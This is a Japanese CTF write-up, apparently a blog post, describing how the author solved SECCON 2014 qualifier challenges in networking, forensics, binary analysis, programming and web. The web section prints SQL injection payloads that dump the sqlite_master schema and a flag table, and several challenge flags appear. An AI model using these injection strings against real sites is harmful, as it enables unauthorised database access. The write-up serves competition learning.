SECCON 2014 オンライン予選(日本語)にdodododoとして参加した。2302点で5位。とりあえず全国大会の出場権は獲得できた(上位8位まで)。
チームメンバーによるwriteup:
以下、自分が解いた問題のwriteup:
ネットワーク
ソーシャルハック?
画像と思われるURL(http://example.com/foo.png)を投げるとアクセスしてくれる。
153.120.82.112 - - [19/Jul/2014:12:07:30 +0900] "HEAD /foo.png HTTP/1.1" 404 0 "-" "MyVNCpasswordIsVNCpass123" "153.120.82.124"
VNCで接続する。
FLAG{giveMeYourWebM0n3y}
フォレンジック
捏造された契約書を暴け
% binwalk Timestamp.dd DECIMAL HEX DESCRIPTION ------------------------------------------------------------------------------------------------------------------- 236257 0x39AE1 GIF image data, version "89a", 40 x 40 238130 0x3A232 JPEG image data, EXIF standard 238142 0x3A23E TIFF image data, little-endian 33258102 0x1FB7A76 End of Zip archive 33286656 0x1FBEA00 End of Zip archive 33288192 0x1FBF000 TIFF image data, little-endian 33362132 0x1FD10D4 Copyright string: " (c) 1998 Hewlett-Packard Companyny" 33366016 0x1FD2000 TIFF image data, little-endian 33411072 0x1FDD000 TIFF image data, little-endian 81637443 0x4DDB043 ELF
いくつかTIFF画像あるので、切り取ってみていく。
33366016 0x1FD2000 TIFF image data, little-endian
このTIFF画像が機密保持契約書だが、日付に関する情報はない。ほかのTIFF画像を見てみる。
238142 0x3A23E TIFF image data, little-endian
binwalkの情報が間違っていて(?)、0x3A232から切り取ると伊原秀明氏(http://port139.hatenablog.com/)の判子の画像がある。EXIF情報に書かれている日付がflag。
% exiftool a.tiff ExifTool Version Number : 9.60 File Name : a.tiff Directory : . File Size : 4.0 kB File Modification Date/Time : 2014:07:20 15:13:04+09:00 File Access Date/Time : 2014:07:20 15:13:56+09:00 File Inode Change Date/Time : 2014:07:20 15:13:04+09:00 File Permissions : rw-r--r-- File Type : JPEG MIME Type : image/jpeg Exif Byte Order : Little-endian (Intel, II) X Resolution : 72 Y Resolution : 72 Resolution Unit : inches Software : F6 Exif Version 0.9.0b Artist : hihara Exif Version : 0210 Date/Time Original : 2012:05:23 13:29:00 Components Configuration : Y, Cb, Cr, - Exif Image Width : 40 Exif Image Height : 40 Compression : JPEG (old-style) Thumbnail Offset : 326 Thumbnail Length : 986 JFIF Version : 1.01 Image Width : 40 Image Height : 40 Encoding Process : Baseline DCT, Huffman coding Bits Per Sample : 8 Color Components : 3 Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2) Image Size : 40x40 Thumbnail Image : (Binary data 986 bytes, use -b option to extract)
2012:05:23 13:29:00
バイナリ
ダンプを追え!
dump.binの中身を見るとV850という文字列が紛れ込んでいる。V850はマイコンの一種。
V850用のbinutilsをビルドしておく。
% wget https://ftp.gnu.org/gnu/binutils/binutils-2.24.tar.gz % ./configure --target=v850-nec-elf % make
objdumpした結果とencrypt.nmを照らし合せた: https://gist.github.com/akiym/e0703949aa0615cbc1e6
_proc: 146: 03 1e e8 ff addi -24, sp, sp 14a: 20 56 40 00 movea 64, r0, r10 14e: 40 3e 00 00 movhi 0, r0, r7 152: 63 ff 15 00 st.w lp, 20[sp] 156: 63 57 11 00 st.w r10, 16[sp] 15a: 27 3e 3c 16 movea 5692, r7, r7 ; _etext section 15e: 03 46 10 00 addi 16, sp, r8 162: bf ff 88 ff jarl 0xea, lp ; _read_data 166: 23 77 11 00 ld.w 16[sp], r14 16a: ca 66 ff 00 andi 255, r10, r12 16e: 00 6a mov 0, r13 170: 95 15 br 0x192 172: 40 56 00 00 movhi 0, r0, r10 176: 2a 56 3c 16 movea 5692, r10, r10 ; _etext section 17a: cd 51 add r13, r10 17c: 0a 5f 00 00 ld.b 0[r10], r11 180: 41 6a add 1, r13 182: 2c 59 xor r12, r11 184: cc 61 add r12, r12 186: 0c 66 11 00 addi 17, r12, r12 18a: 4a 5f 00 00 st.b r11, 0[r10] 18e: cc 66 ff 00 andi 255, r12, r12 192: ee 69 cmp r14, r13 194: f6 ed blt 0x172 196: 23 ff 15 00 ld.w 20[sp], lp 19a: 03 1e 18 00 addi 24, sp, sp 19e: 7f 00 jmp [lp]
my @etext = (0x63, 0x17, 0x86, 0xD8, 0x34, 0xF9, 0x06, 0x8C, 0x9B, 0x80, 0x9D, 0x96, 0xD7, 0xDA, 0xDF, 0x92); my $r12 = 37; for my $c (@etext) { print chr($c ^ $r12); $r12 += $r12; $r12 += 17; $r12 &= 0xff; }
r12の初期値は_procを見るだけではわからない。面倒だったのでflagのフォーマットがFLAG{...}
であるため、0x63 ^ ord('F')
がr12の初期値だと推測した。
FLAG{Victory850}
プログラミング
重ねてみよう
GIFアニメ画像を分解
% convert +adjoin in.gif out.gif
白黒反転させて、白を透過色にする。
% convert -negate in.gif out.gif % convert -transparent white in.gif out.gif
画像を重ねる。
% convert in1.gif in2.gif -composite out.gif
あとはスクリプトに落として、49枚の画像に対して処理をする。生成された画像はQRCodeになっているので、読み取る。
FLAG{Many dot makes a QR code}
あみだくじ
https://gist.github.com/akiym/335ae9083687d2169caf
pwntoolsというライブラリを使っているので、実際に動作させるときには注意。
あみだくじを解くと毎回sleepするので、1000回解くには自動で解いても少し時間がかかる。この問題はx64バイナリでstatic linkされているのでsleepを潰すにはバイナリの中のnanosleepのsyscallを潰せば良い。
47ff39: b8 23 00 00 00 mov eax,0x23 47ff3e: 0f 05 syscall 47ff40: 48 3d 01 f0 ff ff cmp rax,0xfffffffffffff001 47ff46: 0f 83 e4 41 fd ff jae 0x454130 47ff4c: c3 ret 47ff4d: 48 83 ec 08 sub rsp,0x8 47ff51: e8 4a 27 fd ff call 0x4526a0 47ff56: 48 89 04 24 mov QWORD PTR [rsp],rax 47ff5a: b8 23 00 00 00 mov eax,0x23 47ff5f: 0f 05 syscall
これで5秒くらいで解けるようになる。
FLAG{c4693af1761200417d5645bd084e28f0f2b426bf}
Web
箱庭SQLiチャレンジ
スタンダードなSQLi問題。考える必要がない。
'or'1 'union select group_concat(sql),1,1,1,1 from sqlite_master-- 'union select flag,1,1,1,1 from seccon--
FLAG{EnjoySQLi}
箱庭XSSリターンズ
メンバーのlmt_swallowによるSECCON 2013 オンライン予選の箱庭XSS Finalのwriteupを参考にした: https://gist.github.com/lmt-swallow/03170ca9c079e2ea555a
ほとんど前回と同じように解けるが、今回は20回XSSさせないといけないので、少し工夫して解く必要があった。
https://gist.github.com/akiym/9c9f903d824fddcaf2c8
FLAG{dbe6Z7bdbpa3e7cdcccc5c0}
(途中点)
FLAG{OO3auUR7e8712af065dBa6F}